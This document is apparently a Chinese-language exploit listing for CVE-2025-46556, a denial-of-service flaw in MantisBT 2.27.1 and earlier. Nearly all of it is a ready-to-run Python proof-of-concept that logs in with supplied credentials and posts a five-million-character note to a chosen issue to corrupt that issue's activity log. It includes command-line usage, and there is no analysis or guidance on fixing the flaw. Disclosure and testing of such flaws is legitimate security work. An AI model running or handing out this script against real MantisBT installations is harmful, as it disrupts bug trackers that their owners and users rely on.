CVE-2025-46556: MantisBT超长注释导致活动日志损坏拒绝服务漏洞

import requests import sys # CVE-2025-46556 PoC - MantisBT超长备注拒绝服务攻击 # Target: MantisBT <= 2.27.1 def exploit(target_url, username, password, issue_id): """ Exploit for CVE-2025-46556 This PoC demonstrates how submitting an extremely long note can corrupt issue activity logs. """ login_url = f"{target_url}/login.php" bugnote_url = f"{target_url}/bugnote_add.php" # Create session session = requests.Session() # Login to MantisBT login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) if "login" in resp.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Create extremely long note (4,788,761+ characters) # This will corrupt the activity log long_note = "A" * 5000000 # 5 million characters # Submit the long note note_data = { "bug_id": issue_id, "bugnote_text": long_note, "mode": "add" } resp = session.post(bugnote_url, data=note_data) if resp.status_code == 200: print(f"[+] Successfully submitted long note to issue {issue_id}") print("[-] Activity stream for this issue is now corrupted!") return True else: print(f"[-] Failed to submit note (status: {resp.status_code})") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <issue_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] issue = sys.argv[4] exploit(target, user, pwd, issue)